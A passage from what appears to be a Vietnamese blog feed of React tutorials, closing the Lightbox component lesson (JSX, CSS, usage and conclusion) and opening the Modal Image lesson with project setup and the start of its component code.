punctuation">.</span>hideModal<span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text"> × </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>modal-content<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">SlideshowGallery</span></span> <span class="token attr-name">ref</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>slideshowGallery<span class="token punctuation">}</span></span> <span class="token attr-name">input</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>input<span class="token punctuation">}</span></span> <span class="token attr-name">ratio</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>ratio<span class="token punctuation">}</span></span> <span class="token attr-name">mode</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">manual</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="nội-dung-file-lightboxcss" style="position:relative;"><a href="#n%E1%BB%99i-dung-file-lightboxcss" aria-label="nội dung file lightboxcss permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nội dung file lightbox.css</h3> <p>File này dùng để xác định style cho Lightbox Component. Bạn chú ý là mọi thành phần mình đều để trong class <strong>.lp-lightbox</strong> để đảm bảo không bị xung đột với các component khác (khi kết hợp các component lại với nhau).</p> <p>Ngoài ra, mình sử dụng <a href="https://www.w3schools.com/cssref/css_selectors.asp">CSS selector</a> là <strong>></strong>. Với ý nghĩa, ví dụ khi mình dùng <strong>element1 > element2</strong> thì sẽ hiểu style này được áp dụng cho <strong>element2</strong> là con trực tiếp của <strong>element1</strong> mà không phải cháu, chắt,…</p> <div class="gatsby-code-title gatsby-remark-code-title">lightbox.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.lp-lightbox, .lp-lightbox *</span> <span class="token punctuation">{</span> <span class="token property">box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-moz-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-webkit-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-lightbox</span> <span class="token punctuation">{</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-lightbox > .container</span> <span class="token punctuation">{</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> flex<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> -webkit-flex<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-lightbox > .container > .image-wrapper</span> <span class="token punctuation">{</span> <span class="token property">flex</span><span class="token punctuation">:</span> 1<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 0.35rem<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-lightbox > .container > .image-wrapper > .image</span> <span class="token punctuation">{</span> <span class="token property">object-fit</span><span class="token punctuation">:</span> cover<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">height</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">opacity</span><span class="token punctuation">:</span> 1<span class="token punctuation">;</span> <span class="token property">transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token property">-webkit-transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token property">-moz-transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token property">-o-transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-lightbox > .container > .image-wrapper > .image:hover</span> <span class="token punctuation">{</span> <span class="token property">opacity</span><span class="token punctuation">:</span> 0.7<span class="token punctuation">;</span> <span class="token property">cursor</span><span class="token punctuation">:</span> pointer<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-lightbox > .modal</span> <span class="token punctuation">{</span> <span class="token property">visibility</span><span class="token punctuation">:</span> hidden<span class="token punctuation">;</span> <span class="token property">position</span><span class="token punctuation">:</span> fixed<span class="token punctuation">;</span> <span class="token property">z-index</span><span class="token punctuation">:</span> 1<span class="token punctuation">;</span> <span class="token property">padding-top</span><span class="token punctuation">:</span> 100px<span class="token punctuation">;</span> <span class="token property">left</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">top</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">height</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">overflow</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> <span class="token function">rgb</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.9<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-lightbox > .modal > .close</span> <span class="token punctuation">{</span> <span class="token property">position</span><span class="token punctuation">:</span> absolute<span class="token punctuation">;</span> <span class="token property">top</span><span class="token punctuation">:</span> 15px<span class="token punctuation">;</span> <span class="token property">right</span><span class="token punctuation">:</span> 35px<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #f1f1f1<span class="token punctuation">;</span> <span class="token property">font-size</span><span class="token punctuation">:</span> 40px<span class="token punctuation">;</span> <span class="token property">font-weight</span><span class="token punctuation">:</span> bold<span class="token punctuation">;</span> <span class="token property">transition</span><span class="token punctuation">:</span> color 0.3s<span class="token punctuation">;</span> <span class="token property">-webkit-transition</span><span class="token punctuation">:</span> color 0.3s<span class="token punctuation">;</span> <span class="token property">-moz-transition</span><span class="token punctuation">:</span> color 0.3s<span class="token punctuation">;</span> <span class="token property">-o-transition</span><span class="token punctuation">:</span> color 0.3s<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-lightbox > .modal > .close:hover, .lp-lightbox > .modal > .close:focus</span> <span class="token punctuation">{</span> <span class="token property">color</span><span class="token punctuation">:</span> #bbb<span class="token punctuation">;</span> <span class="token property">text-decoration</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token property">cursor</span><span class="token punctuation">:</span> pointer<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-lightbox > .modal > .modal-content</span> <span class="token punctuation">{</span> <span class="token property">margin</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 80%<span class="token punctuation">;</span> <span class="token property">max-width</span><span class="token punctuation">:</span> 600px<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token atrule"><span class="token rule">@media</span> <span class="token keyword">only</span> screen <span class="token keyword">and</span> <span class="token punctuation">(</span><span class="token property">max-width</span><span class="token punctuation">:</span> 600px<span class="token punctuation">)</span></span> <span class="token punctuation">{</span> <span class="token selector">.lp-lightbox > .modal > .modal-content</span> <span class="token punctuation">{</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h2 id="sử-dụng-lightbox-component" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-lightbox-component" aria-label="sử dụng lightbox component permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng Lightbox component</h2> <div class="gatsby-code-title gatsby-remark-code-title">./src/App.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token comment">/* Không thay đổi */</span> <span class="token selector">.App, .App *</span> <span class="token punctuation">{</span> <span class="token property">box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-moz-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-webkit-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.App</span> <span class="token punctuation">{</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">max-width</span><span class="token punctuation">:</span> 780px<span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 15px<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #222<span class="token punctuation">;</span> <span class="token property">font</span><span class="token punctuation">:</span> normal normal normal 1rem/1.6 Nunito Sans<span class="token punctuation">,</span> Helvetica<span class="token punctuation">,</span> Arial<span class="token punctuation">,</span> sans-serif<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">./src/App.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./App.css"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> LightBox <span class="token keyword">from</span> <span class="token string">"./components/lightbox/lightbox"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img8 <span class="token keyword">from</span> <span class="token string">"./images/08.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img9 <span class="token keyword">from</span> <span class="token string">"./images/09.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img10 <span class="token keyword">from</span> <span class="token string">"./images/10.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> collection <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img8<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption eight"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img9<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption nine"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img10<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption ten"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">App</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>App<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text">LightBox</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token plain-text">Click on each image below to show the Slideshow Gallery.</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">LightBox</span></span> <span class="token attr-name">input</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>collection<span class="token punctuation">}</span></span> <span class="token attr-name">ratio</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">3:2</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> Made by </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://about.phamvanlam.com/<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text">Lam Pham</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text">. Visit me at </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>/<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text">completejavascript.com</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text">. </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đó, Lightbox Component có các thuộc tính là:</p> <ul> <li><strong>input (<a href="/array-la-gi-array-trong-javascript/">Array</a>):</strong> mảng chứa thông tin các ảnh, với mỗi phần tử là một <a href="/object-la-gi-object-trong-javascript/">object </a>gồm <em>src</em> – đường dẫn ảnh và <em>caption</em> – tiêu đề ảnh.</li> <li><strong>ratio (<a href="/kieu-du-lieu-trong-javascript/">String</a>):</strong> string biểu diễn tỉ lệ <strong>width : height</strong>, ví dụ là "3:2". Chú ý là chiều rộng, mình luôn luôn để 100% nên mình chỉ cần truyền vào tỉ lệ này là OK.</li> </ul> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là kết quả sau khi mình học React qua ví dụ #4 – Lightbox. Nếu bạn thấy hay thì có thể thực hành làm thử và tùy biến theo ý thích của bạn.</p> <a href="https://about.phamvanlam.com/learn-react-by-example/#/lightbox/" class="btn btn-primary margin-bottom"> Xem Demo </a> <p>Bạn thấy đó, trong bài này, mình hầu như tái sử dụng lại những Component đã viết từ trước mà không cần phải viết lại nhiều. Vì vậy, mình tiết kiệm được một lượng thời gian kha khá.</p> <p>Đặc biệt là sau này, khi làm các project lớn hơn, mình chỉ cần <strong>copy-paste</strong> lại các Component đã làm trong <a href="/tag/react-component/">series</a> này (sửa style nếu cần) mà không mất công xây dựng lại những thành phần cơ bản này nữa. Đó chính là lợi ích lớn nhất khi mình xây dựng React Component.</p> <p>Sắp tới mình sẽ tiếp tục chia sẻ với bạn các bài thực hành của mình. Nếu bạn thấy hay hoặc muốn tìm hiểu về <strong>LOẠI COMPONENT</strong> nào thì có thể để lại bình luận phía dưới nhé!</p> <p>Còn bây giờ thì xin chào và hẹn gặp lại, thân ái!</p>[email protected]<![CDATA[Học React qua ví dụ #3: Modal Image]]><![CDATA[Xin chào bạn đến với Học React qua ví dụ #3. Bài viết này mình sẽ thực hành React thông qua cách tạo Modal Image. Trước tiên, để hiểu Modal Image là gì, mời bạn theo dõi demo…]]>https://completejavascript.com/hoc-react-qua-vi-du-3-modal-image/https://completejavascript.com/hoc-react-qua-vi-du-3-modal-image/<![CDATA[Create-react-app]]><![CDATA[React Component]]>Mon, 05 Nov 2018 22:30:33 GMT<p>Xin chào bạn đến với Học React qua ví dụ #3. Bài viết này mình sẽ thực hành React thông qua cách tạo Modal Image.</p> <p>Trước tiên, để hiểu <strong>Modal Image</strong> là gì, mời bạn theo dõi <strong>demo</strong>:</p> <a href="https://about.phamvanlam.com/learn-react-by-example/#/modal-image/" class="btn btn-primary margin-bottom"> Xem Demo Modal Image </a> <p>Trong ví dụ trên mình để demo 2 bức ảnh. Và khi bạn click vào mỗi bức ảnh thì <strong>phiên bản lớn</strong> của chúng sẽ được hiển thị lên. Đó chính là cách hoạt động của Modal Image.</p> <p>Vậy xây dựng Modal Image trong React như thế nào?</p> <p>Mời bạn theo dõi bài viết!</p> <blockquote> <p><strong>Bạn chú ý:</strong> Trong series <a href="/tag/react-component/">học React qua ví dụ</a> này, mình sẽ thực hành xây dựng các Component trên cùng một Project. Vì vậy, sẽ có những phần mình lặp lại trong các bài viết. Mục đích của mình là dù bạn có bắt đầu đọc từ bài nào (bài số 1 hay bài số N) thì bạn cũng có thể làm theo được.</p> </blockquote> <h2 id="khởi-tạo-project" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-project" aria-label="khởi tạo project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Project</h2> <p>Có nhiều cách để thực hiện demo Modal Image. Tuy nhiên, mình khuyến khích bạn sử dụng <a href="/tag/create-react-app/">Create-react-app</a> để thực hành học React qua ví dụ #3 ngay trên máy tính của mình.</p> <p>Để tạo mới một project React với Creat-react-app, bạn có thể tham khảo thêm bài viết: <a href="/deploy-ung-dung-react-len-github-pages/">Tạo và deploy ứng dụng React lên Github Pages</a>.</p> <h2 id="cấu-trúc-project" style="position:relative;"><a href="#c%E1%BA%A5u-tr%C3%BAc-project" aria-label="cấu trúc project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cấu trúc Project</h2> <p>Đầu tiên, bạn tạo ra các thư mục và file như sau (bạn chỉ cần quan tâm tới thư mục <strong>/src</strong>):</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">learn-react-by-example/ --src/ ----components/ ------modal-image/ --------modal-image.css --------modal-image.js ----images/ ----App.css ----App.js ----index.css ----index.js ----serviceWorker.js</code></pre></div> <p>Trong đó:</p> <ul> <li>Thư mục <strong>components</strong>: để chứa code của các Component. Bài này mình thực hành về Modal Image nên mình tạo thêm thư mục <strong>modal-image</strong> bên trong với 2 file <strong>modal-image.js</strong> và <strong>modal-image.css</strong> để định nghĩa cho component <strong>Modal Image</strong> (bài viết sau thực hành về cái khác thì mình sẽ tạo thêm thư mục vào bên trong <strong>components</strong> như này).</li> <li>Thư mục <strong>images</strong>: để chứa tất cả những <a href="/web-tai-anh-mien-phi-chat-luong-cao/">ảnh</a> mình sử dụng cho Demo.</li> <li>Các file <strong>App.css</strong> và <strong>App.js</strong> dùng để demo chính. Bên trong <strong>App.js</strong> mình sẽ sử dụng component Modal Image ở trên.</li> <li>Các file <strong>index.css</strong>, <strong>index.js</strong> và <strong>serviceWorker.js</strong> thì <strong>KHÔNG THAY ĐỔI</strong> với mọi bài thực hành.</li> </ul> <h2 id="xây-dựng-modal-image-component" style="position:relative;"><a href="#x%C3%A2y-d%E1%BB%B1ng-modal-image-component" aria-label="xây dựng modal image component permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xây dựng Modal Image Component</h2> <h3 id="nội-dung-file-modal-imagejs" style="position:relative;"><a href="#n%E1%BB%99i-dung-file-modal-imagejs" aria-label="nội dung file modal imagejs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nội dung file modal-image.js</h3> <p>Trong phần này bạn cần phải chú ý đến một số kiến thức như:</p> <ul> <li><a href="/tim-hieu-react-component-lifecycle/">React Component Lifecycle</a></li> <li><a href="/xu-ly-mot-event-javascript-co-ban/">Đăng ký và hủy bỏ event</a> (<strong><em>resize</em></strong>).</li> </ul> <p>Và ý tưởng chung để xây dựng Modal Image Component là:</p> <ul> <li>Một ảnh có kích thước nhỏ để hiển thị ban đầu</li> <li>Một ảnh phiên bản lớn. Ban đầu, mình để ảnh này ẩn đi. Khi người dùng click vào ảnh nhỏ thì sẽ hiển thị ảnh lớn lên.</li> </ul> <p>Về nội dung chi tiết mình sẽ giải thích trong phần comment code dưới đây. Bạn chịu khó đọc nhé! Có phần nào chưa hiểu thì có thể để lại bình luận phía dưới.</p> <div class="gatsby-code-title gatsby-remark-code-title">modal-image.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> ReactDOM <span class="token keyword">from</span> <span class="token string">"react-dom"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./modal-image.css"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">ModalImage</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">props</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">(</span>props<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* * Khi sử dụng, mình sẽ truyền thuộc tính ratio, giả sử là "3:2" * Như vậy, tỉ lệ width/height là this.ratioWH = 3 / 2 * Mình sẽ điều chỉnh các ảnh sao cho về cùng 1 kích thước. */</span> <span class="token keyword">const</span> ratioWHArray <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>ratio<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">":"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>ratioWH <span class="token operator">=</span> ratioWHArray<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">/</span> ratioWHArray<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateDimensions <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateDimensions</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>showModal <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">showModal</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>hideModal <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">hideModal</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hiển thị Modal Image bằng cách set giá trị * cho thuộc tính display của style, * của phần tử đóng vai trò là Modal Image là "initial", * để hiển thị nó */</span> <span class="token function">showModal</span><span class="token punctuation">(</span><span 